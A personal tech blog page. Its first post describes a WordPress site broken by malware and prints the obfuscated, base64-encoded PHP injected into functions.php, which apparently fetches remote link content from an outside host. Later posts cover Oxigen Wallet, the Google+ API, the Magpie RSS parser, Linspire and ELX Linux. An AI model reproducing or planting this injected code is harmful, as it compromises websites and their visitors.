Garbage code because of malware on your wordpress website

Recently one of my friends called me with a problem. He was not able to access his WordPress website, not even WordPress admin. He was afraid that his website was compromised and hacked.

When I opened his website, I saw a random PHP code on display. Something like this –

<!--? function _1634693657($i){$a=Array('I' .'2dvb2d' .'sZSN' .'p','I' .'21zbmJvdCNp','I2' .'Jpbmcja' .'Q==','I' .'3N' .'s' .'dX' .'J' .'wI' .'2k' .'=','' .'I2FzayN' .'p','I3N' .'lem5hbSNp','I2Fs' .'d' .'G' .'F2aXN0Y' .'SNp','SFRU' .'UF9VU0VSX0FHRU5U','aHR0cDov' .'Lw==','','SFRU' .'UF9IT1N' .'U','UkVRVUVT' .'V' .'F' .'9' .'VUkk=','aHR0cHM6Ly8=','','' .'d3d3Lg' .'==','','c' .'WRu','aHR0cDov' .'L2NoZWNraW5' .'nbG' .'l' .'u' .'a3MuY29t' .'L' .'2Nvb' .'n' .'Rl' .'bnRzL2xp' .'b' .'mtzaW4uc' .'GhwP21kN' .'T0=','JnVhPQ==','' .'SFRUUF9VU0VS' .'X0FHRU5U','JnJl' .'Zj0=','SFRUU' .'F' .'9S' .'RUZFUkVS','Jm' .'lw' .'PQ' .'==','UkV' .'NT' .'1R' .'FX0FERFI=','JnV' .'ya' .'T0' .'=','' .'UkVRVUVTVF9' .'VUkk=','Y' .'3VybF9' .'pb' .'ml0','YWxsb' .'3' .'dfdXJs' .'X' .'2' .'Zv' .'cGVu','Z' .'m' .'lsZV9nZXRfY' .'29u' .'dGV' .'udHM' .'=','' .'Zm' .'9w' .'ZW' .'4=','c' .'g' .'==','IyguK' .'j4' .'pKFt' .'ePD5dKikoPC4qKSNVc20' .'=','IzxccypzY' .'3JpcHQuKn' .'Njc' .'m' .'lwdFxzK' .'j' .'4jVXNt','','' .'Izx' .'ccypzdHl' .'sZS4qc3R5b' .'GVccy' .'o+I1VzbQ==','','Iz' .'xc' .'cyphL' .'iphXHMqPi' .'N' .'Vc20=','','Izx' .'ccypoZWFk' .'LipoZWFkXHMqP' .'iNVc' .'20=','','Izxcc' .'yp0aX' .'R' .'s' .'Z' .'S4qd' .'Gl0' .'bGV' .'cc' .'yo+I1VzbQ' .'==','','IA==','c3' .'lzdGVt' .'X2J1ZmZlc' .'l9iYWNrX3Nvcn' .'Q=','IA' .'==','','Lg' .'=' .'=','LA' .'=' .'=','IQ' .'=' .'=','Pw=' .'=','' .'Og==','IA' .'==','IA==','' .'IA==','I' .'y' .'g' .'8XHMqL2Jv' .'ZHlccyo+fDxcc' .'yovaH' .'R' .'tbF' .'xzK' .'j4' .'pI2k=','IA' .'==','' .'Cg=' .'=','I' .'A' .'==','c3lzd' .'GVtX2J1ZmZ' .'l' .'cl9' .'iY' .'WN' .'r');return base64_decode($a[$i]);} ?-->

As I wasn’t fully convinced of hacking I thought of it may be because of any virus or malware, after a bit investigation and found that the WordPress website is trying to load but dying while loading functions.php in “wp-includes”. I asked him to check the file and he confirmed that the whole garbage code is written at the end of functions.php file.

Now it was confirmed that it was a malware attack. I asked hit to get his hosting scanned properly and get rid of any malware present. I hope this will help you if you face same kind of problem.

Also for precautionary measures, you can install some security scrutiny plugin, which will also detect malware, if present.

Paypal alternative in India: Oxigen wallet

Oxigen Wallet

Every freelancer in the world live with a Paypal account. For them it’s a mean to pay their bills.

Still 4.4% deduction charge was never a great experience. Especially when I am doing Indian transactions. This is hard earned money and it’s difficult to come by.

I see Oxigen Wallet as a game changer for freelancer/SME’s in Indian payment services. With an easy payment method, where every mobile number becomes a merchant account.

The service works pretty simple. Anyone can register themselves using their mobile number, after a simple verification SMS you’re ready to send/receive money along with using OxigenWallet as an alternate payment mechanism.

Paypal alternative in India

Let’s assume you’ve just completed a nice logo design or Web app for which you need to receive payments. Just ask your client to send money on your mobile number via oxigenwallet.com. They can use their Credit/Debit cards to send payments via OxigenWallet. As soon as you get the money on your mobile number, you can transfer money instantly (via IMPS) in your bank account. All in the matter of minutes.

And it’s getting supported by BookMyShow and other service providers soon. No more multiple step-transactions to book that movie, or pay that bill.

Go install it via Android Play Store. As @NikhilChawla mentioned Oxigen team is looking for feedback and perfect the service for consumers.

Google Plus API

Google is rolling out API very soon for developers to take a sneak peak and develop applications. In the meantime developers can sign up at https://services.google.com/fb/forms/plusdevelopers/ to get a early access onto the Google plus API.

Eventually, google plus is playing a invite only for brands and developers too after a successful stunt with social networking users all around the world. Brands can sign up here http://goo.gl/zq95C to be the first to get listed as business on Google+.

RSS reader@PHP

My one of the friends wanted me to Implement a Web based (non- database driven ) RS feeder , Ultimately the Php rss parser magpie came to my mind. I have heard about it but never got chance to get my hands dirty on it.
So here i was downloading and Configuring Magpie on my site , This Turned out to be pretty simple and nice tool. Just including the rss_fetch.inc adn using function fetch_rss($url), And bino here your Rss reader ready , Lame isn`t it.
fiddled for some time to dispaly multiple feeds , But it ends up more lame , I was implementing the logic in the same Loop , Just break the loop into two and remove the require_once directive and replace it with include and bingo the feed reaeder is ready.

Here are the two fav feeds i checked http://planet-india.randomink.org/rss20.xml
http://feeds.feedburner.com/RockyBlog.

Thus at the end here is a simple and a dirty web based reeder , Yawn it was fun 🙂

Linspire is Rolling Out it`s Free Version

Remember the Linux named Lindows that`s been in news back for a while for both good and bad reason, It was have this Name Controvery with “windows” which atlast falled in Microsft Lap.

They declared it`s not Linux but Linux and Windows Hybrid (which they meant by Ease of Use), Their Modified apt-get (CNR — CLick and Run) is really fast and stable one, They have a cool set of packages at their Repositry and most of the Configuration is done automatically.
visit Freespire site for more information.

The good thing is that now they are going both ways the Free way( free as in freedom) and the Hybrid Model which contains some Properiatery Binary drivers along with all Multimedia Capabilities.

see CNR screenshots

Their key application CNR is also going open source , this means we can soon see ubuntu or any other apt-get system a more robust package management frontend

In the past Linspire has been proved good for newbies let`s see what they have in store for us now.

Elx experience

After a breeze installation through, I was really exited to explore ELX, as I was used to GNOME that’s why I started, But as I thought I didn’t show up and I brought back to the login screen .So I logged on KDE, The desktop was different than the one Redhat. But got some cool features, It was quite resemble to the windows style, The Show desktop button on the panel can come really handy to newbies, It boast of the My favorites Launch Pad, Which I give a thought to try, But not got so impressed it is for Dumb people who doesn’t know that u have to click xmms button to start a player to listen songs. I missed the default 4 desktop in Redhat; The Icon rendering was not smooth as in Fedora or else.

Now to see the Menu represented by a big E sign, which shows ELX Linux sign. My first Choice Audio and Video section has mplayer, realplayer and VlC to feast upon, Which is really good and that too when alsa is reconfigured, really the multimedia section In Elx is good, I soon installed the xmms-alsa Plugin and start enjoying my huge collection of MP3. Now to try mplayer, which has been my favorite since many years, made a playlist in the mplayer and start the Music, hey who says Linux is tough.

Now to the Office section and always for the rescue Open Office, Which is not needed to explain how good it is. Apart from that u have Kedit, Kate as text editors, which boast some good stuff.

Now I fired my favorite part of Linux the console, fired the mplayer by using gmplayer command but it hanged, I didn’t got the idea why, anyway I thought of killing it and fired my fav tool xkill, but to my surprise it was not included in elx, which is according to me most powerful tool, Ok I got the process listed and killed the gmplayer.

After this much hangout, I thought to close the Box, I made my mind for this distro as it was an MADE IN INDIA product, But I not got anything INDIAN in that, Is My Favorites and Show Desktop is Indian, Surely Not. An inclusion of IndLInux or some Indian softwares will be a good treat, But till when the distro try to be window like it could not compete the big boys, Like redhat. Because in Indian desktop market the money is not a matter, as windows is also free for us isn’t it.
